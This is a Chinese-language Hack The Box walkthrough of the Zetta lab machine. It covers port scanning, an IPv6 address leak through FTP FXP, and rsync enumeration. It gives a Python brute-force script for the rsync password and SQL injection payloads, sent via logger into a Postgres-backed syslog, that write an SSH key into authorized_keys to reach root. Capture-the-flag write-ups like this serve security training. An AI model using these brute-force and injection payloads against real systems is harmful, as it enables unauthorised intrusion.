Hack The Box-Zetta演练 FXP,IPv6,rsync,Postgres和SQLi

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案我希望这将至少帮助某人在信息安全领域发展。在本文中,我们使用FXP学习IPv6服务器地址,使用rsync,并在处理Postgres中的日志时使用SQL注入编写ssh密钥。

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您会与知道信息安全领域知识的人进入专用网络:)

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.156,我将其添加到/ etc / hosts。

10.10.10.156    zetta.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

图片

接下来,您需要收集有关已知端口的更多信息。为此,将nmap与-A选项一起使用。

nmap -A zetta.htb -p21,22,80

图片

看一下ftp上的内容。

图片

结果,标语显示我们可以通过IPv6连接。让我们看看Web服务器上的内容。

图片

我们观察到本机FTP支持FXP。 FXP是一种在两个FTP服务器之间直接传输文件的方法,而无需将它们下载到计算机上。在FXP会话期间,客户端打开到两个不同服务器的两个FTP连接,在第一台服务器上请求一个文件,并在PORT命令中指示第二台服务器的IP地址。

图片

滚动一点,我们找到FTP的用户名和密码。输入凭据后,我们被告知存在对FXP的支持。

图片

但是或者服务器上没有文件,或者没有将文件提供给我们。但是由于该服务器支持FXP,所以我们可以假装为另一台服务器,目标服务器启动了连接。因此,我们将根据RFC 2428揭示其IPv6地址。

图片

图片

这对于进一步扫描是必需的,因为主机可能具有仅接受IPv6连接的服务。因此,我们需要知道我们的地址。

图片

使用tcpdump,我们将跟踪到达端口4321的流量。

图片

然后使用netcat连接到ftp并指定凭据。

nc zetta.htb 21

图片

现在,我们发送EPRT请求。

图片

并且我们观察到目标主机的IPv6地址。

图片

现在将其写入/ etc / hosts而不是IPv4,并使用nmap扫描所有端口,并添加-6选项。

nmap -6 zetta.htb -p-

图片

现在,我们使用-A选项获得更多信息。

nmap -A -6 zetta.htb -p21,22,80,8730

图片

入口点


Rsync(远程同步)是用于类似UNIX的系统的程序,它可以在两个位置同步文件和目录,同时最大程度地减少通信量。Rsync可以复制或显示目录的内容并复制文件,可以选择使用压缩和递归。rsync仅传输文件更改,这会影响程序性能。让我们看一下模块列表。

rsync -6 --list-only rsync://zetta.htb:8730/

图片

此列表中缺少一些重要的目录。但是etc目录可用。

rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

图片

我们在本地计算机上读取了该文件的rsyncd.conf。

rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

图片

配置中有一个隐藏的模块-home_roy,它指向用户的主目录roy,并且受rsyncd.secrets密码保护,但是我们无法使用。

rsync -6 rsync://zetta.htb:8730/home_roy/

图片

用户


当没有其他想法时,我不得不整理密码。为此,编写了Python代码,并使用了Seclists的密码列表。

#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

图片

现在我们知道了密码,让我们生成ssh密钥并将其上传到服务器。

图片

图片

图片

并使用此密钥通过SSH连接,我们获取用户令牌。

图片


令牌旁边是提示-任务列表。

图片

让我们打开它们。

todo .tudu.xml

图片

让我们看看所有计划的任务。服务器使用git。

图片

在这种情况下,事件日志将保存在数据库中。

图片

并且还计划更改密码,目前看来这是一种密码。

图片

我们要做的第一件事是转到git,因为在那里我们可以看到配置更改的历史记录。在服务器上找到所有.git目录。

图片

我们对rsyslog日志最感兴趣,因此我将其整个存储库复制到本地计算机。

图片

现在,我们进入加载了存储库的目录,并使用gitk(图形界面是一件小事,但很方便)。

图片

我们看到了凭据,但是如果使用它们,则会失败。同样在存储库中,您可以看到模板,根据该模板将日志放置在数据库中。日志保存在/var/log/postgresql/postgresql-11-main.log日志中,我们所属的adm组可以访问该日志。

图片

由于我们正在处理数据库,因此您可以尝试注入。我们将使用记录器创建事件以进行记录,同时使用watch实时跟踪进入日志的内容(为方便起见,您可以将qterminal与分割窗口一起使用)。

watch -n 1 cat postgresql-11-main.log

并发送事件。

logger -p local7.info "'"

图片

并且发生错误,表明可能进行注射。查看/ etc / passwd,我们发现postgres服务用户具有/ bin / bash shell。

图片

因此,我们可以通过ssh登录。这将使我们能够访问postgres文件,包括命令历史记录。让我们检查是否可以使用注入来写入文件。

logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

图片

精细。我们将生成ssh密钥,并将公用密钥写入postgres用户服务的主目录中的服务器:/var/lib/postgresql/.ssh/authorized_keys。

图片

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"

现在让我们来看一下ssh。

ssh -i psg_id_rsa postgres@zetta.htb

图片

我们看一下postgres的历史。

图片

我们找到了密码。我们从待办事项列表中调出密码规则,将用户替换为root,然后登录。

图片

我们拥有全部权利!

您可以通过Telegram加入我们让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

All Articles